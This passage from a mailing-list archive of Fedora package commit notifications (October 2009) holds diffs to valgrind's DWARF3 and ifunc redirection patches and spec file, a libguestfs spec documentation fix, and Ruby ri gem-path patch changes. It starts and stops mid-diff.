-                       NULL/*fbGX*/, NULL/*RegSummary*/,
-                       0/*data_bias*/,
-                       True/*push_initial_zero*/);
-               if (0) {
-                  VG_(printf)("QQQ ");
-                  ML_(pp_GXResult)(res);
-                  VG_(printf)("\n");
+               vg_assert(field->Te.Field.nLoc < 0
+                         || (field->Te.Field.nLoc > 0
+                             && field->Te.Field.pos.loc));
+               if (field->Te.Field.nLoc == -1) {
+                  res.kind = GXR_Addr;
+                  res.word = field->Te.Field.pos.offset;
+               } else {
+                  /* Re data_bias in this call, we should really send in
+                     a legitimate value.  But the expression is expected
+                     to be a constant expression, evaluation of which
+                     will not need to use DW_OP_addr and hence we can
+                     avoid the trouble of plumbing the data bias through
+                     to this point (if, indeed, it has any meaning; from
+                     which DebugInfo would we take the data bias? */
+                   res =  ML_(evaluate_Dwarf3_Expr)(
+                          field->Te.Field.pos.loc, field->Te.Field.nLoc,
+                          NULL/*fbGX*/, NULL/*RegSummary*/,
+                          0/*data_bias*/,
+                          True/*push_initial_zero*/);
+                  if (0) {
+                     VG_(printf)("QQQ ");
+                     ML_(pp_GXResult)(res);
+                     VG_(printf)("\n");
+                  }
                }
                if (res.kind != GXR_Addr)
                   continue;
--- valgrind/coregrind/m_debuginfo/priv_tytypes.h.jj	2009-08-19 15:37:44.000000000 +0200
+++ valgrind/coregrind/m_debuginfo/priv_tytypes.h	2009-10-14 15:49:52.000000000 +0200
@@ -78,8 +78,13 @@ typedef
          struct {
             UChar* name;  /* in mallocville */
             UWord  typeR; /* should be Te_TyXXXX */
-            UChar* loc;   /* location expr, in mallocville */
-            UWord  nLoc;  /* number of bytes in .loc */
+            union {
+               UChar* loc;   /* location expr, in mallocville */
+               Word offset;  /* or offset from the beginning of containing
+                                entity */
+            } pos;
+            Word  nLoc;  /* number of bytes in .pos.loc if >= 0, or -1
+                            if .pos.offset should be used instead */
             Bool   isStruct;
          } Field;
          struct {
--- valgrind/coregrind/m_debuginfo/readdwarf3.c.jj	2009-08-19 15:37:44.000000000 +0200
+++ valgrind/coregrind/m_debuginfo/readdwarf3.c	2009-10-14 16:25:51.000000000 +0200
@@ -2356,9 +2356,16 @@ static void parse_type_DIE ( /*MOD*/XArr
          if (attr == DW_AT_type && ctsSzB > 0) {
             fieldE.Te.Field.typeR = (UWord)cts;
          }
-         if (attr == DW_AT_data_member_location && ctsMemSzB > 0) {
+         /* There are 2 different cases for DW_AT_data_member_location.
+            If it is a constant class attribute, it contains byte offset
+            from the beginning of the containing entity.
+            Otherwise it is a location expression.  */
+         if (attr == DW_AT_data_member_location && ctsSzB > 0) {
+            fieldE.Te.Field.nLoc = -1;
+            fieldE.Te.Field.pos.offset = cts;
+         } else if (attr == DW_AT_data_member_location && ctsMemSzB > 0) {
             fieldE.Te.Field.nLoc = (UWord)ctsMemSzB;
-            fieldE.Te.Field.loc
+            fieldE.Te.Field.pos.loc
                = ML_(dinfo_memdup)( "di.readdwarf3.ptD.member.2",
                                     (UChar*)(UWord)cts, 
                                     (SizeT)fieldE.Te.Field.nLoc );
@@ -2385,13 +2392,14 @@ static void parse_type_DIE ( /*MOD*/XArr
       vg_assert(fieldE.Te.Field.name);
       if (fieldE.Te.Field.typeR == D3_INVALID_CUOFF)
          goto bad_DIE;
-      if (fieldE.Te.Field.loc) {
+      if (fieldE.Te.Field.nLoc) {
          if (!parent_is_struct) {
             /* If this is a union type, pretend we haven't seen the data
                member location expression, as it is by definition
                redundant (it must be zero). */
-            ML_(dinfo_free)(fieldE.Te.Field.loc);
-            fieldE.Te.Field.loc  = NULL;
+            if (fieldE.Te.Field.nLoc > 0)
+               ML_(dinfo_free)(fieldE.Te.Field.pos.loc);
+            fieldE.Te.Field.pos.loc = NULL;
             fieldE.Te.Field.nLoc = 0;
          }
          /* Record this child in the parent */
@@ -2616,10 +2624,10 @@ static void parse_type_DIE ( /*MOD*/XArr
    /* For union members, Expr should be absent */
    if (0) VG_(printf)("YYYY Acquire Field\n");
    vg_assert(fieldE.tag == Te_Field);
-   vg_assert( (fieldE.Te.Field.nLoc > 0 && fieldE.Te.Field.loc != NULL)
-              || (fieldE.Te.Field.nLoc == 0 && fieldE.Te.Field.loc == NULL) );
+   vg_assert(fieldE.Te.Field.nLoc <= 0 || fieldE.Te.Field.pos.loc != NULL);
+   vg_assert(fieldE.Te.Field.nLoc != 0 || fieldE.Te.Field.pos.loc == NULL);
    if (fieldE.Te.Field.isStruct) {
-      vg_assert(fieldE.Te.Field.nLoc > 0);
+      vg_assert(fieldE.Te.Field.nLoc != 0);
    } else {
       vg_assert(fieldE.Te.Field.nLoc == 0);
    }

valgrind-3.5.0-ifunc.patch:
 coregrind/m_debuginfo/debuginfo.c    |   14 ++-
 coregrind/m_debuginfo/priv_storage.h |    1 
 coregrind/m_debuginfo/readelf.c      |   22 ++++--
 coregrind/m_demangle/demangle.c      |   52 ++++++++++----
 coregrind/m_redir.c                  |  128 +++++++++++++++++++++++++++++++----
 coregrind/m_scheduler/scheduler.c    |    6 +
 coregrind/pub_core_clreq.h           |    5 +
 coregrind/pub_core_demangle.h        |    3 
 coregrind/pub_core_redir.h           |    3 
 coregrind/vg_preloaded.c             |   27 +++++++
 include/pub_tool_debuginfo.h         |    3 
 include/pub_tool_redir.h             |   29 +++++++
 memcheck/mc_replace_strmem.c         |   28 ++++++-
 13 files changed, 276 insertions(+), 45 deletions(-)

Index: valgrind-3.5.0-ifunc.patch
===================================================================
RCS file: /cvs/pkgs/rpms/valgrind/F-12/valgrind-3.5.0-ifunc.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- valgrind-3.5.0-ifunc.patch	12 Oct 2009 15:18:45 -0000	1.1
+++ valgrind-3.5.0-ifunc.patch	14 Oct 2009 15:03:39 -0000	1.2
@@ -1,4 +1,4 @@
-commit 27dc1029d4bca6409d0ed990264592dc75761cd0
+commit 3bd6e2ed7544778a5bbb0acaf69b103d7907185e
 Author: Dodji Seketeli <dodji at redhat.com>
 Date:   Wed Oct 7 16:09:30 2009 +0200
 
@@ -58,7 +58,10 @@ Date:   Wed Oct 7 16:09:30 2009 +0200
     	means once we have intercepted the strlen call by the runtime linker
     	to get the pointer to strlen_target. So we now store the strlen ->
     	vg_strlen redirection request in the iFuncToDirectFuncSet set so that
-    	we can get it later.
+    	we can get it later. For a given ifunc symbol that is loaded, activate
+    	the ifunc --> standard func redirection only if there is a
+    	standard func --> standard func redirection matching the ifunc
+    	symbol.
     	* coregrind/m_scheduler/scheduler.c (do_client_request): Add a new
     	VG_USERREQ__CHANGE_IFUNC_REDIR_TARGET.
     	* coregrind/pub_core_clreq.h (enum Vg_InternalClientRequest): Add
@@ -294,7 +297,7 @@ index 262fcfc..3ae050a 100644
  
        if (sym[i] == '_')
 diff --git a/coregrind/m_redir.c b/coregrind/m_redir.c
-index 98a502f..0140fc0 100644
+index 98a502f..cf968bd 100644
 --- a/coregrind/m_redir.c
 +++ b/coregrind/m_redir.c
 @@ -223,6 +223,7 @@ typedef
@@ -305,7 +308,15 @@ index 98a502f..0140fc0 100644
        const HChar** mandatory; /* non-NULL ==> abort V and print the
                                    strings if from_sopatt is loaded but
                                    from_fnpatt cannot be found */
-@@ -268,12 +269,20 @@ typedef
+@@ -252,7 +253,6 @@ typedef
+    to record abovementioned preloaded specifications.) */
+ static TopSpec* topSpecs = NULL;
+ 
+-
+ /*------------------------------------------------------------*/
+ /*--- CURRENTLY ACTIVE REDIRECTIONS                        ---*/
+ /*------------------------------------------------------------*/
+@@ -268,12 +268,20 @@ typedef
        TopSpec* parent_spec; /* the TopSpec which supplied the Spec */
        TopSpec* parent_sym;  /* the TopSpec which supplied the symbol */
        Bool     isWrap;      /* wrap or replacement? */
@@ -327,7 +338,7 @@ index 98a502f..0140fc0 100644
  
  /*------------------------------------------------------------*/
  /*--- FWDses                                               ---*/
-@@ -317,7 +326,7 @@ void generate_and_add_actives (
+@@ -317,7 +325,7 @@ void generate_and_add_actives (
  
  void VG_(redir_notify_new_DebugInfo)( DebugInfo* newsi )
  {
@@ -336,7 +347,7 @@ index 98a502f..0140fc0 100644
     Int          i, nsyms;
     Spec*        specList;
     Spec*        spec;
-@@ -350,10 +359,16 @@ void VG_(redir_notify_new_DebugInfo)( DebugInfo* newsi )
+@@ -350,10 +358,16 @@ void VG_(redir_notify_new_DebugInfo)( DebugInfo* newsi )
  
     nsyms = VG_(DebugInfo_syms_howmany)( newsi );
     for (i = 0; i < nsyms; i++) {
@@ -357,7 +368,7 @@ index 98a502f..0140fc0 100644
        /* ignore data symbols */
        if (!isText)
           continue;
-@@ -378,6 +393,7 @@ void VG_(redir_notify_new_DebugInfo)( DebugInfo* newsi )
+@@ -378,6 +392,7 @@ void VG_(redir_notify_new_DebugInfo)( DebugInfo* newsi )
        vg_assert(spec->from_fnpatt);
        spec->to_addr = sym_addr;
        spec->isWrap = isWrap;
@@ -365,7 +376,7 @@ index 98a502f..0140fc0 100644
        /* check we're not adding manifestly stupid destinations */
        vg_assert(is_plausible_guest_addr(sym_addr));
        spec->next = specList;
-@@ -388,12 +404,15 @@ void VG_(redir_notify_new_DebugInfo)( DebugInfo* newsi )
+@@ -388,12 +403,15 @@ void VG_(redir_notify_new_DebugInfo)( DebugInfo* newsi )
  
     if (check_ppcTOCs) {
        for (i = 0; i < nsyms; i++) {
@@ -384,7 +395,7 @@ index 98a502f..0140fc0 100644
           if (!ok)
              /* not a redirect.  Ignore. */
              continue;
-@@ -470,6 +489,38 @@ void VG_(redir_notify_new_DebugInfo)( DebugInfo* newsi )
+@@ -470,6 +488,42 @@ void VG_(redir_notify_new_DebugInfo)( DebugInfo* newsi )
  
  #undef N_DEMANGLED
  
@@ -404,26 +415,30 @@ index 98a502f..0140fc0 100644
 +    old = VG_(OSetGen_Lookup)(activeSet, &old_from);
 +    vg_assert(old);
 +    vg_assert(old->isIFunc);
++    /* We must have got here only if there was an ifunc symbol
++       that matches an active direct function --> direct function
++       redirection. Otherwise, it is not necessary to call this function.  */
++    vg_assert(iFuncToDirectFuncSet);
 +
 +    e = VG_(OSetGen_Lookup)(iFuncToDirectFuncSet, &old_from);
++    /* Same comment as for vg_assert(iFuncToDirectFuncSet) above.  */
++    vg_assert(e);
 +
 +    new = *old;
-+    if (e) {
-+        new.from_addr = new_from;
-+        new.to_addr = e->direct_func;
-+        if (VG_(clo_trace_redir))
-+            VG_(message) (Vg_DebugMsg, "changed redir (%lx)[indired]->(%lx) "
-+                           "to (%lx) -> (%lx))\n",
-+                           old_from, old->to_addr,
-+                           new_from, e->direct_func);
-+        new.isIFunc = False;
-+        maybe_add_active (new);
-+    }
++    new.from_addr = new_from;
++    new.to_addr = e->direct_func;
++    if (VG_(clo_trace_redir))
++        VG_(message) (Vg_DebugMsg, "changed redir (%lx)[indired]->(%lx) "
++                       "to (%lx) -> (%lx))\n",
++                       old_from, old->to_addr,
++                       new_from, e->direct_func);
++    new.isIFunc = False;
++    maybe_add_active (new);
 +}
  
  /* Do one element of the basic cross product: add to the active set,
     all matches resulting from comparing all the given specs against
-@@ -487,7 +538,7 @@ void generate_and_add_actives (
+@@ -487,7 +541,7 @@ void generate_and_add_actives (
       )
  {
     Spec*  sp;
@@ -432,7 +447,7 @@ index 98a502f..0140fc0 100644
     Active act;
     Int    nsyms, i;
     Addr   sym_addr;
-@@ -513,7 +564,7 @@ void generate_and_add_actives (
+@@ -513,7 +567,7 @@ void generate_and_add_actives (
     nsyms = VG_(DebugInfo_syms_howmany)( di );
     for (i = 0; i < nsyms; i++) {
        VG_(DebugInfo_syms_getidx)( di, i, &sym_addr, NULL, NULL,
@@ -441,7 +456,7 @@ index 98a502f..0140fc0 100644
  
        /* ignore data symbols */
        if (!isText)
-@@ -533,13 +584,47 @@ void generate_and_add_actives (
+@@ -533,13 +587,61 @@ void generate_and_add_actives (
           if (!sp->mark)
              continue; /* soname doesn't match */
           if (VG_(string_match)( sp->from_fnpatt, sym_name )) {
@@ -450,8 +465,9 @@ index 98a502f..0140fc0 100644
 +            sp->done = True;
 +            if (isIFunc && !sp->isIFunc) {
 +                IFuncToDirectFuncEntry *e;
-+                 /* So we are facing a redirection spec
-+                    indirect function -> direct function.
++                 /* So we are facing an indirect function
++                    that matches a direct function -> direct function
++                    redirection spec.
 +                    We need to store that mapping in iFuncToDirectFuncSet so
 +                    that later once the indirect function's relocations are
 +                    processed by the dynamic linker on the client, we
@@ -478,6 +494,19 @@ index 98a502f..0140fc0 100644
 +                VG_(OSetGen_Insert)(iFuncToDirectFuncSet, e);
 +                continue;
 +            }
++
++            /* Consider special ifunc --> direct function redirections only when
++               there already is an direct function --> direct function
++               redirection that matches an ifunc symbol. Otherwise, we would
++               grow the active set unnecessarily.  */
++            if (isIFunc && sp->isIFunc) {
++                IFuncToDirectFuncEntry *e = NULL;
++                if (iFuncToDirectFuncSet)
++                    e = VG_(OSetGen_Lookup)(iFuncToDirectFuncSet, &sym_addr);
++                if (!e)
++                    continue;
++            }
++
              /* got a new binding.  Add to collection. */
              act.from_addr   = sym_addr;
              act.to_addr     = sp->to_addr;
@@ -559,7 +588,7 @@ index c993c27..025789d 100644
  // Queries
  //--------------------------------------------------------------------
 diff --git a/coregrind/vg_preloaded.c b/coregrind/vg_preloaded.c
-index 6f0f049..28e6c7d 100644
+index 6f0f049..41986d2 100644
 --- a/coregrind/vg_preloaded.c
 +++ b/coregrind/vg_preloaded.c
 @@ -68,6 +68,33 @@ void VG_NOTIFY_ON_LOAD(freeres)( void )
@@ -573,8 +602,8 @@ index 6f0f049..28e6c7d 100644
 +   (running on the real CPU) to update the redirection "ifunc -> this function".
 +
 +*/
-+void * VG_WRAP_I_FUNCTION_ZZ(VG_Z_LIBC_SONAME, Za) (void);
-+void * VG_WRAP_I_FUNCTION_ZZ(VG_Z_LIBC_SONAME, Za) (void)
++void * VG_WRAP_I_FUNCTION_ZZ(Za, Za) (void);
++void * VG_WRAP_I_FUNCTION_ZZ(Za, Za) (void)
 +{
 +    OrigFn fn;
 +    Addr result = 0;
@@ -611,7 +640,7 @@ index a02b790..85129ce 100644
  /* A simple enumeration to describe the 'kind' of various kinds of
     segments that arise from the mapping of object files. */
 diff --git a/include/pub_tool_redir.h b/include/pub_tool_redir.h
-index 3d3b516..ff6af2e 100644
+index 3d3b516..ec3e00a 100644
 --- a/include/pub_tool_redir.h
 +++ b/include/pub_tool_redir.h
 @@ -51,6 +51,16 @@
@@ -641,25 +670,29 @@ index 3d3b516..ff6af2e 100644
     characters are transformed.
  
       *         -->  Za    (asterisk)
-@@ -143,6 +154,17 @@
+@@ -143,6 +154,21 @@
       Z         -->  ZZ    (Z)
  
     Everything else is left unchanged.
 +
 +   Indirect function wrapping
-+   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
++   ~~~~~~~~~~~~~~~~~~~~~~~~~~
 +
 +   VG_WRAP_I_FUNCTION_ZZ is a macro (similar to VG_WRAP_FUNCTION_ZZ) that
-+   wraps functions only. It does not have any effect on regular (STT_FUNC) functions.
-+   Beware, the use of VG_WRAP_I_FUNCTION_ZZ in coregrin/vg_preloaded.c makes
-+   the wrapping function match all the indirect functions of the C library.
-+   So no other use of that macro should be necessary to match
-+   indirect functions of the C library.
++   wraps indirect functions (a.k.a. ifunc) only. It does not have any effect on
++   regular (STT_FUNC) functions. In other words this macros registers an
++   ifunc --> regular function redirection. It does it in a special way though.
++   The ifunc --> regular function redirection is registered iff there is a
++   regular function --> regular function redirection that matches the ifunc symbol
++   pattern of this macro.
++   Beware, the use of VG_WRAP_I_FUNCTION_ZZ in coregrind/vg_preloaded.c makes
++   the wrapping function match all the indirect functions of all libraries.
++   So no other use of that macro should be necessary.
 +
  */
  
  /* If you change these, the code in VG_(maybe_Z_demangle) needs to be
-@@ -158,6 +180,7 @@
+@@ -158,6 +184,7 @@
  
  #define VG_WRAP_FUNCTION_ZU(soname,fnname) VG_CONCAT4(_vgwZU_,soname,_,fnname)
  #define VG_WRAP_FUNCTION_ZZ(soname,fnname) VG_CONCAT4(_vgwZZ_,soname,_,fnname)
@@ -668,7 +701,7 @@ index 3d3b516..ff6af2e 100644
  /* --------- Some handy Z-encoded names. --------- */
  
 diff --git a/memcheck/mc_replace_strmem.c b/memcheck/mc_replace_strmem.c
-index c15717a..2bfe40b 100644
+index c15717a..abd838f 100644
 --- a/memcheck/mc_replace_strmem.c
 +++ b/memcheck/mc_replace_strmem.c
 @@ -116,6 +116,7 @@ Bool is_overlap ( void* dst, const void* src, SizeT dstlen, SizeT srclen )
@@ -765,3 +798,14 @@ index c15717a..2bfe40b 100644
  STPCPY(VG_Z_LD_LINUX_SO_2,        stpcpy)
  STPCPY(VG_Z_LD_LINUX_X86_64_SO_2, stpcpy)
  #elif defined(VGO_darwin)
+@@ -709,7 +725,9 @@ GLIBC232_STRCHRNUL(VG_Z_LIBC_SONAME, strchrnul)
+    }
+ 
+ GLIBC232_RAWMEMCHR(VG_Z_LIBC_SONAME, rawmemchr)
+-
++#if defined (VGO_linux)
++GLIBC232_RAWMEMCHR(VG_Z_LIBC_SONAME, __GI___rawmemchr)
++#endif
+ 
+ /* glibc variant of strcpy that checks the dest is big enough.
+    Copied from glibc-2.5/debug/test-strcpy_chk.c. */


Index: valgrind.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valgrind/F-12/valgrind.spec,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- valgrind.spec	12 Oct 2009 15:18:45 -0000	1.68
+++ valgrind.spec	14 Oct 2009 15:03:39 -0000	1.69
@@ -1,7 +1,7 @@
 Summary: Tool for finding memory management bugs in programs
 Name: valgrind
 Version: 3.5.0
-Release: 2
+Release: 3
 Epoch: 1
 Source0: http://www.valgrind.org/downloads/valgrind-%{version}.tar.bz2
 Patch1: valgrind-3.5.0-cachegrind-improvements.patch
@@ -10,6 +10,8 @@ Patch3: valgrind-3.5.0-glibc-2.10.1.patc
 Patch4: valgrind-3.5.0-ifunc.patch
 Patch5: valgrind-3.5.0-inotify-init1.patch
 Patch6: valgrind-3.5.0-mmap-mprotect.patch
+Patch7: valgrind-3.5.0-dwarf3.patch
+Patch8: valgrind-3.5.0-pr40659.patch
 License: GPLv2
 URL: http://www.valgrind.org/
 Group: Development/Debuggers
@@ -69,6 +71,8 @@ or valgrind plugins.
 %patch4 -p1
 %patch5 -p1
 %patch6 -p1
+%patch7 -p1
+%patch8 -p1
 
 %build
 %ifarch x86_64 ppc64
@@ -101,13 +105,6 @@ int main (int argc, char *const argv[])
 EOF
 gcc $RPM_OPT_FLAGS -o close_fds close_fds.c
 
-for i in `find . -type f \( -name *-amd64-linux -o -name *-x86-linux -o -name *-ppc*-linux \)`; do
-  case "`file $i`" in
-    *ELF*executable*statically\ linked*)
-      objcopy -R .debug_loc -R .debug_frame -R .debug_ranges $i
-  esac
-done
-
 # XXX pth_cancel2 hangs on x86_64
 echo 'int main (void) { return 0; }' > none/tests/pth_cancel2.c
 
@@ -161,6 +158,11 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Wed Oct 14 2009 Jakub Jelinek <jakub at redhat.com> 3.5.0-3
+- handle many more DW_OP_* ops that GCC now uses
+- handle the more compact form of DW_AT_data_member_location
+- don't strip .debug_loc etc. from valgrind binaries
+
 * Mon Oct 12 2009 Jakub Jelinek <jakub at redhat.com> 3.5.0-2
 - add STT_GNU_IFUNC support (Dodji Seketeli, #518247)
 - wrap inotify_init1 syscall (Dodji Seketeli, #527198)



From rjones at fedoraproject.org  Wed Oct 14 15:07:41 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Wed, 14 Oct 2009 15:07:41 +0000 (UTC)
Subject: rpms/libguestfs/EL-5 libguestfs.spec,1.70,1.71
Message-ID: <20091014150741.9B2D311C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31702

Modified Files:
	libguestfs.spec 
Log Message:
Incorrectly commented %doc rule.


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/libguestfs.spec,v
retrieving revision 1.70
retrieving revision 1.71
diff -u -p -r1.70 -r1.71
--- libguestfs.spec	14 Oct 2009 14:54:44 -0000	1.70
+++ libguestfs.spec	14 Oct 2009 15:07:41 -0000	1.71
@@ -5,7 +5,7 @@ Summary:     Access and modify virtual m
 Name:        libguestfs
 Epoch:       1
 Version:     1.0.73
-Release:     1%{?dist}
+Release:     2%{?dist}
 License:     LGPLv2+
 Group:       Development/Libraries
 URL:         http://libguestfs.org/
@@ -447,8 +447,8 @@ rm -rf $RPM_BUILD_ROOT
 %files devel
 %defattr(-,root,root,-)
 %doc ChangeLog HACKING TODO README ex html/guestfs.3.html html/pod.css
-#%doc src/generator.ml
-%doc installed-docs/*
+%doc src/generator.ml
+#%doc installed-docs/*
 %{_libdir}/libguestfs.so
 %{_mandir}/man3/guestfs.3*
 %{_mandir}/man3/libguestfs.3*
@@ -544,10 +544,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Wed Oct 14 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.73-1
+* Wed Oct 14 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.73-2
 - New upstream release 1.0.73.
 - OCaml library now depends on xml-light.
 - Deal with installed documentation.
+- Incorrectly commented %%doc rule.
 
 * Wed Sep 23 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.72-1
 - New upstream release 1.0.72.



From mtasaka at fedoraproject.org  Wed Oct 14 15:24:31 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Wed, 14 Oct 2009 15:24:31 +0000 (UTC)
Subject: rpms/ruby/F-12 ruby-1.8.6-p369-ri-gem_multipath.patch, 1.1,
	1.2 ruby.spec, 1.140, 1.141
Message-ID: <20091014152432.5CCF411C00E5@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3386/F-12

Modified Files:
	ruby-1.8.6-p369-ri-gem_multipath.patch ruby.spec 
Log Message:
* Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-5
- Much better idea for Patch31 provided by Akira TAGOH <tagoh at redhat.com>


ruby-1.8.6-p369-ri-gem_multipath.patch:
 ri_options.rb |    8 ++++++--
 ri_paths.rb   |    2 +-
 2 files changed, 7 insertions(+), 3 deletions(-)

Index: ruby-1.8.6-p369-ri-gem_multipath.patch
===================================================================
RCS file: /cvs/extras/rpms/ruby/F-12/ruby-1.8.6-p369-ri-gem_multipath.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ruby-1.8.6-p369-ri-gem_multipath.patch	13 Oct 2009 18:03:03 -0000	1.1
+++ ruby-1.8.6-p369-ri-gem_multipath.patch	14 Oct 2009 15:24:30 -0000	1.2
@@ -1,11 +1,11 @@
 --- ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb.gemmulti	2007-02-13 08:01:19.000000000 +0900
-+++ ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb	2009-10-14 01:08:42.000000000 +0900
++++ ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb	2009-10-14 23:51:09.000000000 +0900
 @@ -63,7 +63,7 @@
  
          [ "--gems",         nil,    nil,
            "Include documentation from Rubygems:\n  " +
 -          (RI::Paths::GEMDIRS ? "#{Gem.path}/doc/*/ri" :
-+          (RI::Paths::GEMDIRS ? ( tmppath=""; Gem.path.each {|path| tmppath += "#{path}/doc/*/ri "}; tmppath) :
++          (RI::Paths::GEMDIRS ? Gem.path.map {|path| "#{path}/doc/*/ri" }.join(', ') :
                                  "No Rubygems ri found.") ],
                                                             
          [ "--format",       "-f",   "<name>",
@@ -23,33 +23,13 @@
          directories = directories.join("\n    ")
  
 --- ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb.gemmulti	2007-02-13 08:01:19.000000000 +0900
-+++ ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb	2009-10-13 19:58:07.000000000 +0900
-@@ -43,9 +43,14 @@
-     PATH = [ SYSDIR, SITEDIR, HOMEDIR ].find_all {|p| p && File.directory?(p)}
++++ ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb	2009-10-15 00:02:05.000000000 +0900
+@@ -44,7 +44,7 @@
  
      begin
--      require 'rubygems'
+       require 'rubygems'
 -      GEMDIRS = Dir["#{Gem.path}/doc/*/ri"]
--      GEMDIRS.each { |path| RI::Paths::PATH << path }
-+      require 'rubygems'  
-+      gemdirs = []
-+      Gem.path.each{ |gempath| 
-+         ripath = Dir["#{gempath}/doc/*/ri"]
-+         ripath.each { |path| RI::Paths::PATH << path }
-+         gemdirs << gempath
-+      }
-+      GEMDIRS = gemdirs
++      GEMDIRS = Gem.path.map {|path| Dir["#{path}/doc/*/ri"]}.flatten
+       GEMDIRS.each { |path| RI::Paths::PATH << path }
      rescue LoadError
        GEMDIRS = nil
-     end
-@@ -71,7 +76,9 @@
-       path << RI::Paths::SYSDIR if use_system
-       path << RI::Paths::SITEDIR if use_site
-       path << RI::Paths::HOMEDIR if use_home
--      path << RI::Paths::GEMDIRS if use_gems
-+      if use_gems
-+         RI::Paths::GEMDIRS.each {|gemdirs| path << gemdirs }
-+      end
- 
-       return path.flatten.compact
-     end


Index: ruby.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby/F-12/ruby.spec,v
retrieving revision 1.140
retrieving revision 1.141
diff -u -p -r1.140 -r1.141
--- ruby.spec	13 Oct 2009 18:03:03 -0000	1.140
+++ ruby.spec	14 Oct 2009 15:24:30 -0000	1.141
@@ -16,7 +16,7 @@
 
 Name:		ruby
 Version:	%{rubyver}%{?dotpatchlevel}
-Release:	4%{?dist}
+Release:	5%{?dist}
 License:	Ruby or GPLv2
 URL:		http://www.ruby-lang.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -548,6 +548,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_emacs_sitestartdir}/ruby-mode-init.el
 
 %changelog
+* Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-5
+- Much better idea for Patch31 provided by Akira TAGOH <tagoh at redhat.com>
+
 * Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-4
 - Fix the search path of ri command for ri manuals installed with gem
   (bug 528787)



From mtasaka at fedoraproject.org  Wed Oct 14 15:24:31 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Wed, 14 Oct 2009 15:24:31 +0000 (UTC)
Subject: rpms/ruby/devel ruby-1.8.6-p369-ri-gem_multipath.patch, 1.1,
	1.2 ruby.spec, 1.140, 1.141
Message-ID: <20091014152432.5F14E11C0264@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3386/devel

Modified Files:
	ruby-1.8.6-p369-ri-gem_multipath.patch ruby.spec 
Log Message:
* Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-5
- Much better idea for Patch31 provided by Akira TAGOH <tagoh at redhat.com>


ruby-1.8.6-p369-ri-gem_multipath.patch:
 ri_options.rb |    8 ++++++--
 ri_paths.rb   |    2 +-
 2 files changed, 7 insertions(+), 3 deletions(-)

Index: ruby-1.8.6-p369-ri-gem_multipath.patch
===================================================================
RCS file: /cvs/extras/rpms/ruby/devel/ruby-1.8.6-p369-ri-gem_multipath.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ruby-1.8.6-p369-ri-gem_multipath.patch	13 Oct 2009 18:03:03 -0000	1.1
+++ ruby-1.8.6-p369-ri-gem_multipath.patch	14 Oct 2009 15:24:31 -0000	1.2
@@ -1,11 +1,11 @@
 --- ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb.gemmulti	2007-02-13 08:01:19.000000000 +0900
-+++ ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb	2009-10-14 01:08:42.000000000 +0900
++++ ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb	2009-10-14 23:51:09.000000000 +0900
 @@ -63,7 +63,7 @@
  
          [ "--gems",         nil,    nil,
            "Include documentation from Rubygems:\n  " +
 -          (RI::Paths::GEMDIRS ? "#{Gem.path}/doc/*/ri" :
-+          (RI::Paths::GEMDIRS ? ( tmppath=""; Gem.path.each {|path| tmppath += "#{path}/doc/*/ri "}; tmppath) :
++          (RI::Paths::GEMDIRS ? Gem.path.map {|path| "#{path}/doc/*/ri" }.join(', ') :
                                  "No Rubygems ri found.") ],
                                                             
          [ "--format",       "-f",   "<name>",
@@ -23,33 +23,13 @@
          directories = directories.join("\n    ")
  
 --- ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb.gemmulti	2007-02-13 08:01:19.000000000 +0900
-+++ ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb	2009-10-13 19:58:07.000000000 +0900
-@@ -43,9 +43,14 @@
-     PATH = [ SYSDIR, SITEDIR, HOMEDIR ].find_all {|p| p && File.directory?(p)}
++++ ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb	2009-10-15 00:02:05.000000000 +0900
+@@ -44,7 +44,7 @@
  
      begin
--      require 'rubygems'
+       require 'rubygems'
